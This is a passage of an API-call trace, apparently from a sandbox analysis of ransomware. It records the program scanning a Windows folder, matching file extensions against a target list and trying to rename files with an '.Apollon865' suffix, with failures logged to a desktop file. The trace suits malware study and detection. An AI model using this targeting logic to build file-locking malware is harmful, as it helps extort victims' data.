	[0076.961] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.961] lstrlenW (lpString="db") returned 2
	[0076.961] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.961] lstrlenW (lpString="db2") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.962] lstrlenW (lpString="db3") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.962] lstrlenW (lpString="dbf") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.962] lstrlenW (lpString="mdf") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.962] lstrlenW (lpString="mdb") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.962] lstrlenW (lpString="sql") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.962] lstrlenW (lpString="sqlite") returned 6
	[0076.962] lstrcmpiW (lpString1="jp.xml", lpString2="sqlite") returned -1
	[0076.962] lstrlenW (lpString="sqlite3") returned 7
	[0076.962] lstrcmpiW (lpString1="-jp.xml", lpString2="sqlite3") returned -1
	[0076.962] lstrlenW (lpString="sqlitedb") returned 8
	[0076.962] lstrcmpiW (lpString1="a-jp.xml", lpString2="sqlitedb") returned -1
	[0076.962] lstrlenW (lpString="xml") returned 3
	[0076.962] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.962] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.Apollon865") returned 90
	[0076.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.964] GetLastError () returned 0x5
	[0076.964] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml MoveFileEx error 5\r\n") returned 108
	[0076.964] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml MoveFileEx error 5\r\n") returned 108
	[0076.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.965] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x40ed
	[0076.965] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0076.965] CloseHandle (hObject=0xc0) returned 1
	[0076.965] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.965] CloseHandle (hObject=0x0) returned 0
	[0076.965] CloseHandle (hObject=0x0) returned 0
	[0076.965] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="..") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="windows") returned -1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootmgr") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="temp") returned -1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="pagefile.sys") returned -1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="boot") returned 1
	[0076.965] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ids.txt") returned 1
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ntuser.dat") returned -1
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2="perflogs") returned -1
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2="MSBuild") returned -1
	[0076.966] lstrlenW (lpString="ko-kr.xml") returned 9
	[0076.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79
	[0076.966] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="ko-kr.xml" | out: lpString1="ko-kr.xml") returned="ko-kr.xml"
	[0076.966] lstrlenW (lpString="ko-kr.xml") returned 9
	[0076.966] lstrlenW (lpString="Apollon865") returned 10
	[0076.966] lstrlenW (lpString=".dll") returned 4
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".dll") returned 1
	[0076.966] lstrlenW (lpString=".lnk") returned 4
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".lnk") returned 1
	[0076.966] lstrlenW (lpString=".ini") returned 4
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".ini") returned 1
	[0076.966] lstrlenW (lpString=".sys") returned 4
	[0076.966] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".sys") returned 1
	[0076.966] lstrlenW (lpString="ko-kr.xml") returned 9
	[0076.966] lstrlenW (lpString="bak") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.966] lstrlenW (lpString="ba_") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.966] lstrlenW (lpString="dbb") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.966] lstrlenW (lpString="vmdk") returned 4
	[0076.966] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.966] lstrlenW (lpString="rar") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.966] lstrlenW (lpString="zip") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.966] lstrlenW (lpString="tgz") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.966] lstrlenW (lpString="vbox") returned 4
	[0076.966] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.966] lstrlenW (lpString="vdi") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.966] lstrlenW (lpString="vhd") returned 3
	[0076.966] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.966] lstrlenW (lpString="vhdx") returned 4
	[0076.967] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.967] lstrlenW (lpString="avhd") returned 4
	[0076.967] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.967] lstrlenW (lpString="db") returned 2
	[0076.967] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.967] lstrlenW (lpString="db2") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.967] lstrlenW (lpString="db3") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.967] lstrlenW (lpString="dbf") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.967] lstrlenW (lpString="mdf") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.967] lstrlenW (lpString="mdb") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.967] lstrlenW (lpString="sql") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.967] lstrlenW (lpString="sqlite") returned 6
	[0076.967] lstrcmpiW (lpString1="kr.xml", lpString2="sqlite") returned -1
	[0076.967] lstrlenW (lpString="sqlite3") returned 7
	[0076.967] lstrcmpiW (lpString1="-kr.xml", lpString2="sqlite3") returned -1
	[0076.967] lstrlenW (lpString="sqlitedb") returned 8
	[0076.967] lstrcmpiW (lpString1="o-kr.xml", lpString2="sqlitedb") returned -1
	[0076.967] lstrlenW (lpString="xml") returned 3
	[0076.967] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.967] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.Apollon865") returned 90
	[0076.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.967] GetLastError () returned 0x5
	[0076.967] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml MoveFileEx error 5\r\n") returned 108
	[0076.967] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml MoveFileEx error 5\r\n") returned 108
	[0076.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.968] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4159
	[0076.968] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6c, lpOverlapped=0x0) returned 1
	[0076.968] CloseHandle (hObject=0xc0) returned 1
	[0076.968] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.968] CloseHandle (hObject=0x0) returned 0
	[0076.968] CloseHandle (hObject=0x0) returned 0
	[0076.968] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="..") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="windows") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootmgr") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="temp") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="pagefile.sys") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="boot") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ids.txt") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ntuser.dat") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="perflogs") returned 1
	[0076.968] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="MSBuild") returned 1
	[0076.968] lstrlenW (lpString="zh-changjei.xml") returned 15
	[0076.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79
	[0076.968] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="zh-changjei.xml" | out: lpString1="zh-changjei.xml") returned="zh-changjei.xml"
	[0076.969] lstrlenW (lpString="zh-changjei.xml") returned 15
	[0076.969] lstrlenW (lpString="Apollon865") returned 10
	[0076.969] lstrcmpiW (lpString1="angjei.xml", lpString2="Apollon865") returned -1
	[0076.969] lstrlenW (lpString=".dll") returned 4
	[0076.969] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".dll") returned 1
	[0076.969] lstrlenW (lpString=".lnk") returned 4
	[0076.969] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".lnk") returned 1
	[0076.969] lstrlenW (lpString=".ini") returned 4
	[0076.969] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".ini") returned 1
	[0076.969] lstrlenW (lpString=".sys") returned 4
	[0076.969] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".sys") returned 1
	[0076.969] lstrlenW (lpString="zh-changjei.xml") returned 15
	[0076.969] lstrlenW (lpString="bak") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.969] lstrlenW (lpString="ba_") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.969] lstrlenW (lpString="dbb") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.969] lstrlenW (lpString="vmdk") returned 4
	[0076.969] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.969] lstrlenW (lpString="rar") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.969] lstrlenW (lpString="zip") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.969] lstrlenW (lpString="tgz") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.969] lstrlenW (lpString="vbox") returned 4
	[0076.969] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.969] lstrlenW (lpString="vdi") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.969] lstrlenW (lpString="vhd") returned 3
	[0076.969] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.969] lstrlenW (lpString="vhdx") returned 4
	[0076.969] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.969] lstrlenW (lpString="avhd") returned 4
	[0076.969] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.969] lstrlenW (lpString="db") returned 2
	[0076.970] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.970] lstrlenW (lpString="db2") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.970] lstrlenW (lpString="db3") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.970] lstrlenW (lpString="dbf") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.970] lstrlenW (lpString="mdf") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.970] lstrlenW (lpString="mdb") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.970] lstrlenW (lpString="sql") returned 3
	[0076.970] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.970] lstrcmpiW (lpString1="ei.xml", lpString2="sqlite") returned -1
	[0076.970] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.Apollon865") returned 96
	[0076.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.973] GetLastError () returned 0x5
	[0076.973] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml MoveFileEx error 5\r\n") returned 114
	[0076.973] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml MoveFileEx error 5\r\n") returned 114
	[0076.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.973] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x41c5
	[0076.973] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x72, lpOverlapped=0x0) returned 1
	[0076.973] CloseHandle (hObject=0xc0) returned 1
	[0076.974] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.974] CloseHandle (hObject=0x0) returned 0
	[0076.974] CloseHandle (hObject=0x0) returned 0
	[0076.974] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="..") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="windows") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootmgr") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="temp") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="pagefile.sys") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="boot") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ids.txt") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ntuser.dat") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="perflogs") returned 1
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="MSBuild") returned 1
	[0076.974] lstrlenW (lpString="zh-dayi.xml") returned 11
	[0076.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85
	[0076.974] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="zh-dayi.xml" | out: lpString1="zh-dayi.xml") returned="zh-dayi.xml"
	[0076.974] lstrlenW (lpString="zh-dayi.xml") returned 11
	[0076.974] lstrlenW (lpString="Apollon865") returned 10
	[0076.974] lstrcmpiW (lpString1="h-dayi.xml", lpString2="Apollon865") returned 1
	[0076.974] lstrlenW (lpString=".dll") returned 4
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".dll") returned 1
	[0076.974] lstrlenW (lpString=".lnk") returned 4
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".lnk") returned 1
	[0076.974] lstrlenW (lpString=".ini") returned 4
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".ini") returned 1
	[0076.974] lstrlenW (lpString=".sys") returned 4
	[0076.974] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".sys") returned 1
	[0076.974] lstrlenW (lpString="zh-dayi.xml") returned 11
	[0076.975] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.Apollon865") returned 92
	[0076.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.975] GetLastError () returned 0x5
	[0076.975] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml MoveFileEx error 5\r\n") returned 110
	[0076.975] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml MoveFileEx error 5\r\n") returned 110
	[0076.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.975] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4237
	[0076.975] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6e, lpOverlapped=0x0) returned 1
	[0076.975] CloseHandle (hObject=0xc0) returned 1
	[0076.975] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.976] CloseHandle (hObject=0x0) returned 0
	[0076.976] CloseHandle (hObject=0x0) returned 0
	[0076.976] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="..") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="windows") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootmgr") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="temp") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="pagefile.sys") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="boot") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ids.txt") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ntuser.dat") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="perflogs") returned 1
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="MSBuild") returned 1
	[0076.976] lstrlenW (lpString="zh-phonetic.xml") returned 15
	[0076.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81
	[0076.976] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="zh-phonetic.xml" | out: lpString1="zh-phonetic.xml") returned="zh-phonetic.xml"
	[0076.976] lstrlenW (lpString="zh-phonetic.xml") returned 15
	[0076.976] lstrlenW (lpString="Apollon865") returned 10
	[0076.976] lstrcmpiW (lpString1="onetic.xml", lpString2="Apollon865") returned 1
	[0076.976] lstrlenW (lpString=".dll") returned 4
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".dll") returned 1
	[0076.976] lstrlenW (lpString=".lnk") returned 4
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".lnk") returned 1
	[0076.976] lstrlenW (lpString=".ini") returned 4
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".ini") returned 1
	[0076.976] lstrlenW (lpString=".sys") returned 4
	[0076.976] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".sys") returned 1
	[0076.976] lstrlenW (lpString="zh-phonetic.xml") returned 15
	[0076.976] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.Apollon865") returned 96
	[0076.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.977] GetLastError () returned 0x5
